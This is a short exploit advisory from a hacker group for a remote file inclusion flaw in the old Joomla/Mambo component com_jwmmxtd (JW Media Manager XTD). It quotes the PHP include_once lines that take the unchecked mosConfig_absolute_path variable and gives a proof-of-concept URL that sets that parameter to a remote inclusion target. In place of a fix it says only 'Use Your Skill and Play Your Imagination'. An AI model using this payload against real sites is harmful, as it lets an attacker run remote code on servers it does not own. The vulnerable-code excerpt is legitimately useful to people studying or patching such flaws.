Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability

                                                #################################################################
    Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability
#################################################################
 
Info:   "JW Media Manager XTD" (com_jwmmxtd) Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x
Version:    1.2
License:    http://www.gnu.org/copyleft/gpl.html
Page:   http://www.joomlaworks.gr
 
#################################################################
 
Author: eidelweiss
Contact:    eidelweiss[at]cyberservices[dot]com
Thanks: JosS (hack0wn) - r0073r & 0x1D (inj3ct0r) - LeQhi - aRiee - idiot_inside - kuris
Special:    AL-MARHUM - [D]eal [C]yber - syabilla_putri (miss u)
 
#################################################################
 
-=[ BUG ]=-
 
[+] admin.jwmmxtd.php
 
-=[ VULN ]=-
 
    // Language File
    if (file_exists($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php')) {
        include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php');
    } else {
        include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/english.php');
    }
 
    // PCLZIP Library
    include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/lib/pclzip.class.php');
 
-=[ P0C ]=-
 
http://127.0.0.1/administrator/components/com_jwmmxtd/admin.jwmmxtd.php?mosConfig_absolute_path= [inj3ct0r]
 
#################################################################
[ FIX ] Use Your Skill and Play Your Imagination
#################################################################